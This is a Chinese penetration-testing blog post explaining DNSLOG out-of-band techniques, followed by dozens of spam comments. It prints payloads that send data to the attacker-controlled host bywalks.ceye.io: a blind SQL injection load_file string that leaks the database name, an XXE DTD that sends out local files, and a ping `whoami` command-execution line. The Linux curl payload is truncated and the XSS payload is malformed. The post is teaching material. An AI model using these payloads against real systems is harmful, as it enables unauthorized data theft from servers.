Walks

网络安全爱好者

DNSLOG在渗透中的妙用

前言:

DNSLOG可能有些人对这个有点陌生,但这真是个十分强大的渗透技巧,这篇文章就是叙述DNSLOG在渗透中的强大之处,相信对这个了解不多的看了之后会觉得受益良多。

首先先简单的介绍一下DNSLOG,抽象的语言就不多说,用我自己的思路就是当我们拥有一个二级域名,例如bywalks.com,然后请求三级域名,例如dnstest.bywalks.com,DNS解析时,

会把访问三级域名的日记传给二级域名。

有个基于DNSLOG记录的ceye平台,感兴趣的可以去看看。

下面就是DNSLOG在各种情况下的使用


目录:

0x01:注入

0x02:SSRF

0x03:XXE

0x04:命令执行

0x05:XSS

0x06:总结




DNSLOG 注入

    当我们遇到盲注的时候,大家的常规思路是什么?无非两种,一延时,二基于内容特征。而这两种方法都是一个字符一个字符的判断,效率很低。

    但有了DNSLOG可就不一样了。当遇到盲注的时候,我们可以用这样的PAYLOAD。

load_file(concat('\\\\',(select database()),'.bywalks.ceye.io\\bywalks'))

    在这里我们需要了解load_file是可以发送DNS请求的。

    所以就等同于访问了database().bywalks.ceye.io,然后我们的ceye平台就会有记录,那么database()是不是就得到了呢?这种方法比逐字判断是要方便很多吧。

    接下来注入就是库表列了。语句自由组合。

   

     DNSLOG SSRF

    当我们遇到SSRF的时候,例如ImageUrl=XXX这种,可以吧XXX换成127.0.0.1:80,127.0.0.1:81等,看返回值的情况判断是否存在SSRF,也可以用NC -lvvp 8888监听本地8888端口,然后ImageUrl=http://Your-Ip:8888来

    观察是否存在SSRF。

    同时,我们也可以用基于DNSLOG的ceye来观察是否存在SSRF,我们可以把XXX换成bywalks.ceye.io,然后看我们的ceye平台是否有服务器的IP来判断。

    

    DNSLOG XXE

    当我们遇到XXE,如果这个XXE漏洞可以解析外部实体,那么不用说,就可以拿来读取本地服务器文件,这时,我们只需把dtd文件改成这样

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://bywalks.ceye.io/%file;'>"
>
%all;

    在我们的ceye平台就可以接收到这个读取的服务器文件了。

    当安全维护人员对服务器做了安全防护,使XXE不可以解析外部实体,但是<?xml version='1.0'?>这种任然是从前台直接传递的时候,依旧是存在SSRF漏洞。所以对XXE的安全防护是必须严格化的。

    

    DNSLOG 命令执行

    在ceye平台是有着这样一个payload:

Linux:
curl 

windows: 
ping `whoami`.ip.port.bywalks.ceye.io

    也就是当命令执行无回显的时候,我们就可以使用基于DNSLOG的ceye来获取我们想要的数据

    

    DNSLOG XSS

    Payload:

"><img src=x onerror=http://bywalks.ceye.io>

    可以用来判断是否存在XSS

    

    总结

    1:主要实用的情况,盲注提高效率

    2:主要使用的情况,在命令执行无回显,SSRF,XXE判断等通过下使用。关键在于无回显时。

点赞
  1. bape hoodie说道:

    I must express thanks to this writer for bailing me out of this particular predicament. Because of checking through the world wide web and coming across solutions which are not pleasant, I thought my entire life was over. Being alive without the presence of approaches to the issues you have resolved all through your good report is a serious case, as well as the ones which may have in a negative way damaged my entire career if I had not noticed your blog. Your primary talents and kindness in maneuvering all the stuff was invaluable. I am not sure what I would've done if I had not discovered such a point like this. I'm able to at this point look ahead to my future. Thanks so much for your professional and results-oriented guide. I will not be reluctant to suggest your web blog to any person who should get counselling on this situation.

  2. I'm just writing to make you understand of the terrific discovery my friend's princess undergone reading through your web page. She even learned a good number of details, including what it is like to possess an awesome helping nature to get many others with ease comprehend various hard to do things. You truly exceeded readers' desires. Thanks for producing those invaluable, trustworthy, educational and as well as unique thoughts on your topic to Emily.

  3. kobe shoes说道:

    I wanted to write you a very little observation to finally say thank you the moment again relating to the pretty techniques you have documented here. It is really particularly generous with people like you giving easily precisely what many individuals could have offered for an ebook to help make some money for their own end, and in particular considering that you could possibly have done it in the event you wanted. Those points as well worked to become a fantastic way to comprehend many people have the identical keenness like my own to grasp way more regarding this condition. I am sure there are millions of more fun occasions up front for many who read carefully your blog.

  4. yeezy boost 350说道:

    I precisely desired to say thanks once more. I do not know the things that I could possibly have made to happen without the type of tips shared by you concerning this theme. It became a daunting situation in my circumstances, nevertheless coming across your specialised avenue you handled that took me to cry over fulfillment. I am happy for this service and thus believe you know what an amazing job you were providing educating people all through your websites. More than likely you haven't come across all of us.

  5. air max 270说道:

    I would like to show my appreciation to this writer just for rescuing me from this particular incident. Just after surfing through the the net and seeing suggestions that were not beneficial, I figured my entire life was done. Being alive minus the answers to the issues you've fixed through your guideline is a crucial case, as well as ones which could have adversely damaged my career if I had not encountered your web site. Your own personal natural talent and kindness in maneuvering a lot of stuff was very useful. I am not sure what I would have done if I had not encountered such a thing like this. I am able to at this point look forward to my future. Thanks for your time very much for this reliable and sensible guide. I will not be reluctant to propose your blog post to any person who should receive guidelines on this area.

  6. nike air max 90说道:

    My spouse and i were really satisfied when Chris could conclude his inquiry by way of the ideas he was given through the blog. It is now and again perplexing to just find yourself offering guides which people today could have been trying to sell. And we also understand we need the blog owner to appreciate for that. The entire explanations you made, the easy web site navigation, the friendships you can make it possible to promote - it is everything awesome, and it is making our son and the family imagine that the subject matter is amusing, which is tremendously indispensable. Thanks for all the pieces!

  7. yeezy shoes说道:

    I wanted to send a simple message so as to appreciate you for these fabulous hints you are showing here. My time intensive internet look up has at the end of the day been honored with extremely good facts to share with my visitors. I would point out that we readers actually are unequivocally endowed to live in a decent place with many brilliant people with great techniques. I feel very happy to have discovered your site and look forward to really more thrilling times reading here. Thanks a lot once more for everything.

  8. I and also my buddies were studying the good things located on your web site and so immediately got an awful suspicion I never expressed respect to the blog owner for those techniques. All the guys happened to be as a consequence stimulated to read them and now have unquestionably been having fun with them. Many thanks for being quite considerate as well as for making a decision on this form of perfect guides millions of individuals are really wanting to learn about. My very own sincere regret for not expressing gratitude to sooner.

  9. yeezy boost说道:

    I precisely wished to appreciate you again. I am not sure what I could possibly have gone through in the absence of the tips and hints contributed by you relating to such question. It seemed to be the difficult condition in my circumstances, however , spending time with the skilled manner you handled the issue made me to jump over contentment. I'm just happier for this help as well as wish you know what an amazing job you happen to be doing training many people with the aid of your blog post. Most probably you have never met any of us.

  10. birkin bag说道:

    I would like to show my affection for your kindness supporting men and women that must have guidance on the situation. Your very own commitment to passing the message all over came to be amazingly productive and has without exception encouraged somebody just like me to reach their pursuits. Your entire warm and helpful tutorial signifies a great deal to me and even more to my colleagues. Thanks a ton; from all of us.

  11. air max 2017说道:

    I really wanted to compose a small remark so as to appreciate you for all the remarkable instructions you are giving out at this site. My incredibly long internet investigation has finally been recognized with sensible insight to share with my two friends. I would mention that many of us visitors are very much blessed to live in a really good network with very many brilliant individuals with valuable tips and hints. I feel really happy to have used your entire weblog and look forward to some more enjoyable minutes reading here. Thanks a lot again for everything.

  12. I just wanted to post a quick word to express gratitude to you for all the marvelous information you are placing at this site. My rather long internet search has at the end of the day been rewarded with high-quality tips to exchange with my pals. I 'd mention that most of us readers actually are extremely fortunate to exist in a decent website with many outstanding professionals with good plans. I feel pretty lucky to have discovered the website page and look forward to tons of more entertaining minutes reading here. Thank you once again for everything.

  13. hermes belt说道:

    I am commenting to let you be aware of of the extraordinary discovery my cousin's princess found reading your web page. She learned a good number of pieces, which included what it's like to have a great giving nature to get men and women without problems fully understand several tortuous issues. You undoubtedly exceeded our desires. I appreciate you for displaying these necessary, safe, revealing and cool thoughts on that topic to Tanya.

  14. I and also my pals were digesting the excellent solutions from your web page then at once I had a terrible feeling I had not thanked the web site owner for those secrets. Those guys ended up consequently thrilled to read through them and have in effect clearly been loving these things. Thanks for being simply accommodating and then for deciding upon this kind of decent useful guides millions of individuals are really needing to learn about. Our own honest regret for not expressing appreciation to you earlier.

  15. My spouse and i ended up being very peaceful Louis could finish off his basic research out of the ideas he made in your site. It is now and again perplexing to simply be giving out methods which many others could have been trying to sell. So we figure out we need the website owner to be grateful to because of that. Most of the explanations you've made, the straightforward blog menu, the friendships you aid to engender - it's many superb, and it's leading our son in addition to the family consider that that topic is enjoyable, and that's incredibly important. Many thanks for everything!

  16. fitflops sale说道:

    Thank you a lot for providing individuals with such a memorable chance to read articles and blog posts from this site. It is often very awesome and as well , stuffed with a good time for me personally and my office acquaintances to search your blog at the least thrice per week to find out the latest items you will have. And of course, I am just usually pleased considering the superb strategies you serve. Selected two areas in this article are honestly the most efficient I have ever had.

  17. I definitely wanted to write a note so as to appreciate you for all the unique strategies you are giving at this website. My time consuming internet research has at the end of the day been recognized with excellent ideas to share with my relatives. I would assume that we readers are very lucky to exist in a perfect place with so many awesome people with insightful solutions. I feel really grateful to have encountered the web pages and look forward to really more excellent minutes reading here. Thanks a lot once more for everything.

  18. I must express some appreciation to the writer for bailing me out of this type of setting. Right after looking out through the the net and getting solutions which are not powerful, I believed my life was done. Living minus the answers to the problems you've resolved as a result of the report is a critical case, as well as the ones which could have adversely affected my career if I had not noticed your blog post. Your actual capability and kindness in maneuvering every item was important. I'm not sure what I would've done if I had not come upon such a thing like this. I am able to at this moment look ahead to my future. Thank you so much for the expert and sensible guide. I will not think twice to refer the sites to any individual who requires counselling on this matter.

  19. My husband and i were so comfortable when Michael managed to deal with his web research with the ideas he discovered through the web pages. It's not at all simplistic to just be releasing things which people today could have been selling. And we understand we now have the website owner to thank for that. Those explanations you have made, the easy site navigation, the friendships you will assist to foster - it's everything overwhelming, and it's really facilitating our son in addition to our family consider that that theme is cool, and that is exceptionally vital. Many thanks for all!

  20. hermes belt说道:

    I precisely had to say thanks once again. I'm not certain what I would've carried out in the absence of these ideas discussed by you about this question. It has been a intimidating condition in my circumstances, however , considering the very well-written strategy you dealt with that made me to jump for fulfillment. Extremely grateful for this assistance as well as expect you know what a great job that you're getting into educating people with the aid of your blog post. Most likely you have never met any of us.

  21. off white hoodie说道:

    I simply wanted to jot down a quick note to be able to appreciate you for these great guidelines you are giving at this website. My time consuming internet search has at the end been rewarded with wonderful ideas to talk about with my co-workers. I would mention that we website visitors actually are quite blessed to exist in a fantastic place with many perfect people with very helpful pointers. I feel really happy to have come across your entire site and look forward to some more fun times reading here. Thanks a lot once again for everything.

  22. adidas nmd r1说道:

    I'm also commenting to let you understand of the notable encounter my wife's girl encountered checking your webblog. She realized so many things, which included what it's like to have an ideal coaching spirit to let other folks smoothly fully understand specific very confusing matters. You actually surpassed our own desires. Many thanks for delivering the interesting, dependable, explanatory and also cool tips about this topic to Gloria.

  23. Needed to put you one very little note to help thank you so much over again with your lovely opinions you've contributed at this time. This has been incredibly open-handed of you to offer easily all that many individuals would've marketed as an e-book to earn some money for themselves, principally seeing that you could possibly have tried it if you ever considered necessary. The good tips in addition worked as a great way to understand that most people have similar zeal the same as my own to grasp a great deal more around this problem. I think there are a lot more pleasurable opportunities ahead for many who looked at your blog.

  24. adidas yeezy说道:

    I enjoy you because of all your hard work on this website. Debby take interest in doing investigation and it's really easy to see why. All of us know all about the powerful way you make invaluable tips and tricks by means of this web site and as well strongly encourage response from website visitors on this concept and my daughter is certainly learning a great deal. Enjoy the remaining portion of the new year. You're the one conducting a wonderful job.

  25. I truly wanted to send a word to be able to express gratitude to you for the pleasant solutions you are posting at this site. My time intensive internet lookup has finally been rewarded with reputable knowledge to write about with my pals. I would claim that most of us website visitors actually are unequivocally blessed to be in a fantastic community with very many perfect professionals with useful methods. I feel truly grateful to have encountered the webpage and look forward to tons of more brilliant times reading here. Thanks again for a lot of things.

  26. kyrie 4说道:

    I definitely wanted to compose a small note to be able to express gratitude to you for these unique facts you are giving here. My incredibly long internet look up has finally been paid with useful strategies to share with my colleagues. I would mention that most of us visitors actually are very much blessed to live in a very good website with many wonderful individuals with very helpful concepts. I feel extremely privileged to have discovered the weblog and look forward to some more brilliant moments reading here. Thank you once more for a lot of things.

  27. I and also my guys were found to be following the excellent tips and hints located on the blog while immediately developed an awful suspicion I never expressed respect to the web blog owner for those techniques. These young boys appeared to be as a consequence stimulated to study all of them and have in effect in actuality been making the most of those things. We appreciate you getting simply thoughtful and also for settling on this sort of quality areas millions of individuals are really desirous to understand about. Our sincere apologies for not saying thanks to sooner.

  28. tory burch shoes说道:

    My husband and i ended up being so ecstatic Michael could round up his research through the ideas he obtained through your web site. It is now and again perplexing to just be freely giving steps that many a number of people could have been selling. So we remember we have the writer to be grateful to for that. The entire illustrations you've made, the straightforward site menu, the relationships you can assist to create - it's got most sensational, and it is assisting our son in addition to us reason why the content is excellent, which is certainly incredibly indispensable. Thanks for all!

  29. longchamp bags说道:

    I would like to voice my gratitude for your kindness giving support to persons that have the need for help on your content. Your special commitment to passing the solution along appeared to be exceedingly advantageous and have in most cases helped guys like me to attain their objectives. Your own warm and helpful tutorial indicates this much to me and a whole lot more to my mates. Many thanks; from everyone of us.

  30. I in addition to my pals came digesting the nice guidelines from your web site and so instantly got a horrible feeling I never thanked you for those tips. Those young boys appeared to be consequently happy to see all of them and have certainly been using those things. I appreciate you for really being so thoughtful and then for using this form of magnificent tips millions of individuals are really needing to discover. Our honest apologies for not expressing appreciation to you sooner.

  31. yeezy boost说道:

    My spouse and i were happy Raymond could finish off his analysis through your ideas he obtained while using the blog. It's not at all simplistic to just be making a gift of secrets people could have been selling. And we also discover we now have the writer to give thanks to for this. The most important explanations you have made, the easy site navigation, the relationships you can give support to instill - it's everything astonishing, and it's assisting our son and our family recognize that this idea is brilliant, which is extraordinarily serious. Thanks for the whole thing!

  32. hogan outlet说道:

    My husband and i have been now glad Michael could carry out his basic research with the ideas he discovered when using the web page. It's not at all simplistic just to happen to be giving freely concepts which usually most people may have been selling. We know we need the website owner to appreciate for this. The entire explanations you have made, the straightforward website navigation, the relationships you will aid to instill - it is most great, and it is making our son in addition to us know that that subject is amusing, and that's incredibly mandatory. Many thanks for all the pieces!

  33. Thanks so much for providing individuals with an extraordinarily memorable chance to read critical reviews from here. It is often very enjoyable plus packed with a great time for me and my office colleagues to visit your blog at least three times in 7 days to study the latest issues you have got. And of course, I am also certainly contented with all the splendid tactics served by you. Selected 1 areas in this post are undeniably the most effective I've had.

  34. I intended to draft you that bit of remark to say thanks a lot once again on your splendid pointers you've documented above. It has been certainly wonderfully generous with people like you to offer easily just what a few people would've advertised for an e book to generate some bucks for themselves, principally now that you could possibly have tried it if you wanted. These secrets also acted like a easy way to be certain that someone else have a similar passion the same as my own to grasp good deal more with reference to this condition. I know there are numerous more enjoyable opportunities in the future for many who look into your website.

  35. vans outlet说道:

    I am writing to make you be aware of of the beneficial discovery my cousin's girl found browsing your site. She discovered several things, which include what it's like to have an incredible giving mood to make certain people with no trouble have an understanding of selected multifaceted matters. You truly did more than our own expected results. I appreciate you for supplying those precious, trusted, revealing as well as cool tips on the topic to Tanya.

  36. I in addition to my guys were reading the excellent techniques from your web blog while unexpectedly developed a horrible suspicion I had not thanked the website owner for those techniques. All the boys came as a consequence thrilled to read them and already have really been having fun with these things. Appreciation for turning out to be really thoughtful and then for using these kinds of smart information millions of individuals are really eager to discover. My personal sincere apologies for not saying thanks to sooner.

  37. I'm also writing to make you know what a wonderful encounter my friend's princess went through reading your blog. She discovered numerous details, with the inclusion of what it's like to have a wonderful coaching nature to let a number of people clearly have an understanding of a variety of problematic matters. You actually surpassed people's desires. I appreciate you for displaying those priceless, healthy, revealing and in addition easy thoughts on your topic to Tanya.

  38. cat boots说道:

    I as well as my pals have already been taking note of the nice guidelines found on your site and so before long developed a terrible suspicion I had not thanked the web site owner for them. My guys ended up totally glad to learn them and have now truly been using these things. Thank you for simply being really considerate as well as for getting varieties of great topics most people are really desirous to be aware of. My honest regret for not saying thanks to you sooner.

  39. yeezy shoes说道:

    Thank you so much for giving everyone remarkably remarkable opportunity to read articles and blog posts from here. It's usually very sweet and also full of a great time for me personally and my office acquaintances to visit your blog at a minimum 3 times per week to read through the newest things you have got. Of course, I am also certainly astounded with the fantastic secrets you serve. Selected two facts in this article are surely the most beneficial I've ever had.

  40. jordan retro说道:

    I must show my admiration for your generosity for those who actually need guidance on the field. Your very own commitment to getting the solution all around ended up being exceptionally informative and have always permitted individuals just like me to get to their aims. Your entire helpful tips and hints can mean a whole lot a person like me and additionally to my colleagues. Thank you; from everyone of us.

  41. converse outlet说道:

    Thank you a lot for providing individuals with a very nice possiblity to discover important secrets from this site. It really is so great and also full of fun for me and my office co-workers to search your blog no less than three times weekly to learn the fresh tips you have. And definitely, I am also usually fulfilled concerning the tremendous tactics served by you. Selected 3 areas in this post are unequivocally the most efficient I've ever had.

  42. I in addition to my guys came digesting the excellent techniques from your web site and then all of the sudden came up with a horrible feeling I never thanked you for them. My guys are already for that reason warmed to learn them and have now in actuality been tapping into those things. Many thanks for genuinely well thoughtful and for making a decision on variety of good subjects millions of individuals are really wanting to learn about. My very own honest apologies for not expressing gratitude to you earlier.

  43. adidas nmd说道:

    Thanks so much for giving everyone an exceptionally special possiblity to read critical reviews from this blog. It is always so useful plus stuffed with fun for me personally and my office fellow workers to search your site a minimum of thrice in a week to find out the latest secrets you will have. And indeed, I am at all times contented with your surprising solutions served by you. Some 3 points on this page are particularly the simplest we've had.

  44. yeezy shoes说道:

    I precisely wanted to appreciate you all over again. I'm not certain the things I might have worked on without the actual creative concepts provided by you about my area. It seemed to be an absolute scary problem in my opinion, however , being able to see this well-written tactic you processed that forced me to weep for delight. I am just happy for the assistance and even believe you recognize what a powerful job your are putting in educating the mediocre ones using your web site. I am certain you've never got to know all of us.

  45. kobe shoes说道:

    Thanks for your entire effort on this web page. Kate delights in working on investigations and it's really easy to see why. A number of us learn all about the powerful means you deliver vital ideas by means of this website and therefore improve contribution from website visitors on that area so our favorite princess is in fact understanding a lot. Take advantage of the remaining portion of the year. You have been carrying out a very good job.

发表评论

电子邮件地址不会被公开。 必填项已用*标注